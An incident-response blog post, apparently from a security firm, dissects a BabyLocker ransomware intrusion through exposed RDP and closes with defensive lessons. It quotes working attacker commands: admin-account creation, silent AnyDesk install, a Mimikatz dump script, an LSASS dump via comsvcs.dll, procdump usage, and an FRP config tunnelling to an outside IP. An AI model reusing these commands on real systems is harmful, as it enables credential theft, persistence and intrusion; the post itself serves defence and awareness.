Inside a Real Ransomware Attack: What Happened and How

In this post, we’ll walk through a real-world ransomware attack attributed to BabyLocker, a variant of the MeduzaLocker family. While the technical steps were typical of this type of incident, what makes this case particularly worth highlighting is how preventable it was.

We’ve included the technical details for those who are interested in understanding how the attack worked, but we’ve also explained what happened in plain English. If you run a business or manage IT infrastructure, this should be a wake-up call.

The initial compromise

The attackers got in the same way they often do: through an open Remote Desktop Protocol (RDP) connection to the internet.

RDP connection was publicly exposed. This is both surprisingly common and incredibly risky.

Once the attackers found this open door, they began brute-forcing login credentials, trying multiple combinations until one worked. 

They targeted commonly used accounts like:

- Admin
- Administrator
- Guest

Unfortunately, the Administrator account used a weak password and had no multi-factor authentication (MFA). That was all it took.

Step-by-step: what the attackers did next

Creating a new admin user

They added a new account with admin rights by running:

%COMSPEC% /C "net user Rakatar## Trakatar1! /ad"
%COMSPEC% /C "net localgroup Administrators Rakatar## /ad"

Then they ran a PowerShell command to encrypt the password:

powershell -command ("Trakatar1!" | ConvertTo-SecureString -AsPlainText -Force) | ConvertFrom-SecureString;

This converts the plain text password into a secure (but machine-specific) encrypted string, which can then be reused in scripts without showing the password directly.

Disabling security tools

They used HRSword.exe, a tool designed to disable endpoint protection. This tool is frequently associated with MeduzaLocker.

They also ran PowerShell, a powerful Windows tool that many environments allow without restriction. Tip: if you’re not using this, block it!

Installing AnyDesk for remote access

The attackers installed AnyDesk, a legitimate remote access tool often misused in ransomware attacks:

C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk –silent

"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
"C:\ProgramData\anydesk.exe" --set-password

Dropping suspicious files

The attackers dropped the following suspicious or unknown executables:

•    kasper1.exe
•    k1ll4_m4rti_0x00013C402290187B.exe

Whilst their precise purpose is unknown, their names alone are cause for concern.

Harvesting credentials with Mimikatz

The attackers used mimikatz1.exe and 0th3r_av5.exe to steal credentials and disable antivirus protection.

Mimikatz is an open-source credentials-harvesting program used to dump account credentials from Active Directory on a target system. The program allows its users to extract Kerberos tickets and other authentication tokens, perform pass-the-hash attacks, and subsequently harvest user credentials on Windows systems. 

The application 0th3r_av5.exe has been marked by Sophos as a malware that functions as an antivirus killer (Trojan.Win32.KILLAV.AK).
 
Immediately after this application was executed on the compromised machine, Windows services associated with Sophos failed to start, further substantiating the assumption that the application is designed to interfere with anti-malware solutions.

The attacker executed PsExec and dump.bat with:

@echo off cls color 03 title #3389 Mimikatz Fast Dump cd /d %~dp0
if "%processor_architecture%"=="AMD64" (goto 64) else ( goto 86 )
:64 64.exe "privilege::debug" "sekurlsa::logonPasswords" "ts::logonpasswords" "token::elevate" 
"lsadump::sam full" exit >> 64_log.txt
:86 86.exe "privilege::debug" "sekurlsa::logonPasswords" "ts::logonpasswords" "token::elevate" 
"lsadump::sam full" exit >> 86_log.txt

This batch script is designed to automate the use of Mimikatz. It starts by hiding the commands from view in the command prompt window using @echo off, and then clears the screen with cls. 

Next, it changes the current working directory to the location of the batch file using cd /d %~dp0.

After that, the script checks the system’s processor architecture by evaluating the %processor_architecture% environment variable. If the architecture is AMD64 (i.e. 64-bit), it proceeds with one set of instructions. If not, it switches to a different path for 32-bit systems.

Depending on the result, the script then runs the appropriate Mimikatz executable (either 64-bit or 32-bit). The executable is launched with a series of module commands to:

•    Gain the necessary debugging privileges (privilege::debug)
•    Extract credentials stored in memory from LSASS (Local Security Authority Subsystem Service) and from Terminal Services (sekurlsa::logonPasswords, ts::logonpasswords)
•    Elevate the current user's token privileges (token::elevate)
•    Dump the full contents of the SAM (Security Accounts Manager) database (lsadump::sam full)

All of this output is then written to a log file — either 64_log.txt or 86_log.txt, depending on whether the system is 64-bit or 32-bit.

Scanning the network

The attackers ran Advanced_Port_Scanner_2.5.3869.exe – a commonly used tool that features in almost every ransomware attack – to identify other devices on the network that they could potentially compromise.

Making Mimikatz work

The attackers ran a script called fix_mimik.bat, which uses Windows Update Standalone Installer (wusa) to uninstall the KB4503537 update. This removes a specific security patch (KB4503537) to ensure their tools could operate without interference.

Checker GUI tool

They deployed a tool called checker (222).exe, which wraps together three powerful utilities:
•    Mimikatz
•    PsExec
•    InvokeTheHash.ps1

Alongside it were two config files:

•    blacklist_domain.txt
•    blacklist_logins.txt

These contained entries like:

(.*?)microsoftoffice(.*?)
(.*?)terms(.*?)
(.*?)teams(.*?)

These appear to configure which accounts or domains to ignore during credential harvesting, possibly to reduce noise or avoid detection.

Scanning for further vulnerabilities

They used nxc.exe, a known tool for scanning networks and exploiting misconfigurations, helping them gain deeper access.

Dumping LSASS (password memory)

The attackers ran the following command:

%COMSPEC% /Q /c CMd.exE /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 %B\Windows\Temp\%FileName% full

This silently extracted memory from the LSASS process (which stores passwords and authentication data) and dumped it to a temp file.

Persistence and remote access

They installed a new Windows service that executed:

C:\Windows\system32\cmd.exe /c start C:\Users\Administrator.HYDRAULICSHOP\AppData\Roaming\frpc.exe -c C:\Users\Administrator.HYDRAULICSHOP\AppData\Roaming\win.toml
win.toml:

This ran frpc.exe, the client for Fast Reverse Proxy (FRP), a tool that exposes internal systems to the internet, creating a stealthy backdoor.

Here’s the config in win.toml:

serverAddr = "91.199.137.26"
serverPort = 443
transport.protocol = "quic"
[[proxies]]
name = "370___"
type = "tcp"
remotePort = 37000
[proxies.plugin]
type = "socks5"

This connects to a server in Prague, Czechia, and creates a SOCKS5 proxy, effectively allowing the attackers to tunnel into the system remotely.

More remote control tools

The also deployed:

•    nano.exe – A tool for remote access and control of compromised systems
•    procdump.exe – Normally used by admins to debug programs, but here used to dump memory and possibly extract sensitive data like encryption keys or login sessions.

C:\Windows\Temp\procdump.exe -accepteula -ma 1008 C:\Windows\Temp\%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp 

Attempted: handlekatz.exe

An attempt was also made to run handlekatz.exe, another credential dumping tool linked to Mimikatz.

Final notes

There were no clear signs of confirmed data exfiltration, but that doesn’t mean it didn’t happen. Many ransomware gangs now quietly steal data before encryption, and use it as blackmail leverage later. It’s possible files were taken using the tunnels set up via frpc.exe.

Lessons learned

This wasn’t a sophisticated zero-day exploit. It began because of some basic issues:

- No MFA
- Weak passwords
- Publicly exposed RDP
- Unmonitored remote access tools.

It ended with full domain compromise, disabled defenses, and likely credential and data theft.

If there’s one clear takeaway from this attack, it’s that securing the basics — MFA, RDP lockdown, and EDR monitoring — can prevent this kind of disaster from happening.